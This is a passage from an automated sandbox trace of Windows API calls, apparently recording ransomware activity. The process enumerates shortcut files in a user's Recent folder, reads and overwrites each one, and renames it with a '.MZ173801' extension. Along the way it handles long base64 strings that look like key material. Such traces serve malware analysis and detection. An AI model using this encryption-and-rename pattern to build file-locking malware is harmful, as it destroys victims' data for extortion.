"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent")) returned 0x11 [0120.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.348] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdfd41ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd41ba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0120.349] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdfd41ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd41ba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0120.349] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf6dc080, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6dc080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf6dc080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="--WTm_HE17JmuNe.lnk", cAlternateFileName="--WTM_~1.LNK")) returned 1 [0120.349] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0120.349] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\--WTm_HE17JmuNe.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\--wtm_he17jmune.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf6dc080, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6dc080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf6dc080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40b)) returned 1 [0120.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.351] GetCurrentThreadId () returned 0x9fc [0120.351] GetCurrentThreadId () returned 0x9fc [0120.351] GetCurrentThreadId () returned 0x9fc [0120.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.352] GetCurrentThreadId () returned 0x9fc [0120.352] GetCurrentThreadId () returned 0x9fc [0120.352] GetCurrentThreadId () returned 0x9fc [0120.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\--WTm_HE17JmuNe.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\--wtm_he17jmune.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.352] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.352] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.352] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x40b [0120.352] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.352] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x40b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x40b, lpOverlapped=0x0) returned 1 [0120.353] CloseHandle (hObject=0x288) returned 1 [0120.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\--WTm_HE17JmuNe.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\--wtm_he17jmune.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.354] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x40b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x40b, lpOverlapped=0x0) returned 1 [0120.355] CloseHandle (hObject=0x288) returned 1 [0120.368] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\--WTm_HE17JmuNe.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\--wtm_he17jmune.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\--WTm_HE17JmuNe.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\--wtm_he17jmune.lnk.mz173801")) returned 1 [0120.369] GetCurrentThreadId () returned 0x9fc [0120.369] GetCurrentThreadId () returned 0x9fc [0120.369] GetCurrentThreadId () returned 0x9fc [0120.369] GetCurrentThreadId () returned 0x9fc [0120.369] GetCurrentThreadId () returned 0x9fc [0120.369] GetCurrentThreadId () returned 0x9fc [0120.369] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf989940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf989940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf989940, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="-GobGYg.flv.lnk", cAlternateFileName="-GOBGY~1.LNK")) returned 1 [0120.369] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.369] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-GobGYg.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-gobgyg.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf989940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf989940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf989940, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e1)) returned 1 [0120.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 